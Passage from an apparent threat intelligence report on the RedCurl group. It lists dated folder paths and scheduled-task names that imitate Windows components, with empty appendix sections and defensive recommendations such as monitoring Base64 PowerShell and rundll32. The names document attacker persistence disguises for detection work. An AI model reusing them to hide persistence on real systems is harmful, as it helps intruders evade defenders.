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	%APPDATA%\Microsoft\HybridDriveCacheRebalancec
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2019-08-06	%APPDATA%\MsCtfMonitorFrameworkH
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2019-09-12	%LOCALAPPDATA%\Microsoft\PropertyDefinition
	%APPDATA%\UsbCeipCons
	%APPDATA%\Microsoft\MDMMaintenenceProgram
2019-09-23	%LOCALAPPDATA%\Microsoft\GeneralizeDrivers
	%APPDATA%\WorkFolders
	%APPDATA%\Microsoft\PCMobilityManager
2019-09-24	%LOCALAPPDATA%\Microsoft\\DevicesSettings
	%APPDATA%\CertServicesServer
	%APPDATA%\Microsoft\DDClient
2019-10-15	%LOCALAPPDATA%\Microsoft\VerifyRecoveryWinRE
	%APPDATA%\HPComp
	%APPDATA%\Microsoft\drwats64oauthb
2019-10-18	%LOCALAPPDATA%\Microsoft\DiskDiagnosticData
	%APPDATA%\AikCertEnrollTask
	%APPDATA%\Microsoft\DataIntegrity
2019-11-27	%LOCALAPPDATA%\Microsoft\MSSharepointProducts
	%APPDATA%\Microsoft\MSSMConf
	%APPDATA%\CTXWorkflowStudio
2019-12-20	%LOCALAPPDATA%\Microsoft\MemoryDiagnosticService
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	%APPDATA%\Microsoft\DiagSvcMgr

Date	Path
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	%APPDATA%\Microsoft\ResolutionHostc
	%APPDATA%\UPnPHostConfServb
	%LOCALAPPDATA%\Microsoft\SetSyncSvc
	%APPDATA%\MSEntmgmt
	%APPDATA%\Microsoft\PTI
	%LOCALAPPDATA%\Microsoft\SpaceManagerSrv
	%APPDATA%\DiskDiagnosticData
	%APPDATA%Microsoft\SoftwareProtectionService
2020-01-21	%LOCALAPPDATA%\Microsoft\OrchestratorUpd
	%APPDATA%\RegSVR\
	%APPDATA%\Microsoft\MSCTFSvc
2020-03-25	%LOCALAPPDATA%\Microsoft\WinActDiag
	%APPDATA%\Microsoft\EnterpriseManagement\
	%APPDATA%\ADRMSManagement
2020-07-06	%LOCALAPPDATA%\DeviceDirectoryC
	%APPDATA%\AppxDepCltn
	%APPDATA%\Microsoft\CUAssist
2020-07-10	%LOCALAPPDATA%\DirectXUSR
	%APPDATA%\Microsoft\CloudExperience
	%APPDATA\CertificateServ
2020-07-14	%LOCALAPPDATA%\servcomptm
	%APPDATA%\Microsoft\WindowsActionDialog
	%APPDATA%\AppID

Tasks

Date	Task
2018-06-11 / 2018-07-04	Microsoft Windows Check Updates Status
	CheckTN1
2018-07-18	CheckU3
	CheckTN1
2019-07-02	DiskDiagnosticResolverSrv
	DeviceDirectoryCltServ\RegisterDeviceProtectionStateCheck
	BrokerInfraService\BgTaskRegistrationMaintenanceSrv
2019-07-10	NetworkStateChangeTaskProv
	PrintingProvEdu\EduPrintProvTask
	PowerEfficiencyDiagnostics\PowerEfficiencyDiagnosticsTask
2019-07-18	ControlLocalTimeSvc
	INTELW\IntelWirelessHost
	RealtekNetDrvCheck\RealtekNetDrvCheckHost

Date	Task
2019-07-25	CleanupTemporaryStateTask
	VerifiedPublishersCerts\VerifiedPublishersCertsStoreCheck
	ADRMSRightsPolicyTemplates\ADRMSRightsPolicyTemplateSrv
2019-07-30	WsSwapAssessmentTask
	LicenseAcquisitionService\EnableLicenseAcquisitionTask
	IndexerAutomaticMaintenance\IndexerAutomaticMaintenanceTask
2019-07-31	SynaMonAppService
	CertStore\VerifiedPublisherCertStoreCheckBkp
	OfficeSupport\OfficeTelemetryAgentLogOnSrv
2019-08-14	PowerEfficiencyDiagnostics
	NetworkStateChangeTaskProv
	PrintingProvEdu\EduPrintProvTask
2019-08-06	CalibrationLoaderTask
	ErrorReportingFramework\QueueReportingError
	TextServices\MsCtfMonitorFramework
2019-08-08	CalibrationLoaderTask
	QueueReportingError
	MsCtfMonitorFramework
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	MDMEnterpriseMgmt\MDMMaintenence_+Base64(%USERNAME%)
	CustomerExperienceImprovementProgram\UsbCeipConsolidator_+ Base64(%USERNAME%)
2019.09.23	SysprepGeneralizeDrivers_+Base64(%USERNAME%)
2013.03.23	Ras\PCMobilityManager_+Base64(%USERNAME%)
	WorkFolders\WorkFoldersLogonSynchronization_+Base64(%USERNAME%)
019-09-24	RegisterDeviceSettingsChange_ + Base64(%USERNAME%)
	DriveDirectoryClient\LocateCommandUserSessionTask_+
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	CertificateServicesServer\KeyPreGenerTask_+Base64(%USERNAME%)
2019-10-15	HPComputers\WakeUpAndScanForUpdates_+Base64(%USERNAME%)
	VerifyRecoveryWinRE_+Base64(%USERNAME%)
	MSFTSysSoundsServices\SysSoundsServices_+Base64(%USERNAME%)
2019-10-18	Microsoft-Windows-DiskDiagnosticDataCollector_+Base64(%USERNAME%)
	CertificateServicesClient\AikCertEnrollTask_+Base64(%USERNAME%)
	DataIntegrityScan\DataIntegrityScan_+Base64(%USERNAME%)
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	MS-ShareMapConfiguration\ComPartitionSets_+Base64(%USERNAME%)
	Citrix\WorkflowStudio_+Base64(%USERNAME%)
2019-12-20	ProcessMemoryDiagnosticEvents_+Base64(%USERNAME%)
	Scheduled_+ Base64(%USERNAME%)
	BitLockerMDMpolicyRefresh_+Base64(%USERNAME%)

Date	Task
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	WDIResHost\ResolutionHostTask
	UPnPHostConfSRV\UPnPHostConfService
	NetworkStateChangeTask_+Base64(%USERNAME%)
	MDMMaintenenceTask_ + Base64(%USERNAME%)
	Registration_+Base64(%USERNAME%)
	SpaceManagerService_+Base64(%USERNAME%)
	SoftwareProtectionPlatform\SvcRestartTaskNetwork_+Base64(%USERNAME%)
	DiskDiagnostic\\Microsoft-Windows-DiskDiagnosticDataCollector_+ Base64(%USERNAME%)
2020-01-21	MusUx_UpdateInterval_+Base64(%USERNAME%)
	MsCtfMonitor_+ Base64(%USERNAME%)
	RegIdleBackup_+Base64(%USERNAME%)
2020-03-25	WindowsActionDialog_+Base64(%USERNAME%)
	RMSRightsPolicyTemplateManagement_+Base64(%USERNAME%)
	MDMMaintenenceTask_+Base64(%USERNAME%)
2020-07-06	DeviceDirectoryClient\RegisterDevicePolicyChange_+Base64(%USERNAME%)
	CUAssistant\CULauncher_+Base64(%USERNAME%)
	AppxDeploymentClient\Pre-staged_app_cleanup_+Base64(%USERNAME%)
2020-07-10	DirectX\DirectXDatabaseUpdater_+Base64(%USERNAME%)
	CloudExperienceHost\CreateObjectTask_+Base64(%USERNAME%)
	CertificateServicesClient\UserTask-Roam_+Base64(%USERNAME%)
2020-07-14	Servicing\StartComponentCleanup_+Base64(%USERNAME%)
	Location\WindowsActionDialog_+Base64(%USERNAME%)
	AppID\VerifiedPublisherCertStoreCheck_+ Base64(%USERNAME%)

Appendix 2. Examples of FSA, C1, and C2

RedCurl.FSA:



RedCurl.C1:



RedCurl.C2:



Recommendations

Each analytical report issued by Group-IB's Threat Intelligence team contains recommendations on how to prevent attacks conducted by the group(s) analyzed. In this case, Group-IB experts recommend taking the following steps:

- 1. Analyze phishing emails detected by security tools and users.
- 2. Monitor applications (including command line arguments) that are often used by cybercriminals during initial compromise (Microsoft Office, Acrobat Reader, archivers, etc.).
- 3. Restrict PowerShell execution on systems where it is unnecessary. Monitor executable scripts and pay close attention to powershell.exe processes with long Base64-encoded strings in arguments.
- 4. Monitor arguments with which rundll32.exe is launched.
- 5. Monitor and verify tasks created in the scheduler.
- 6. Block access to cloud storage devices that are unnecessary.
- 7. Hunt for LNK files that point to documents or images but also have rundll32.exe or powershell.exe in the file path.

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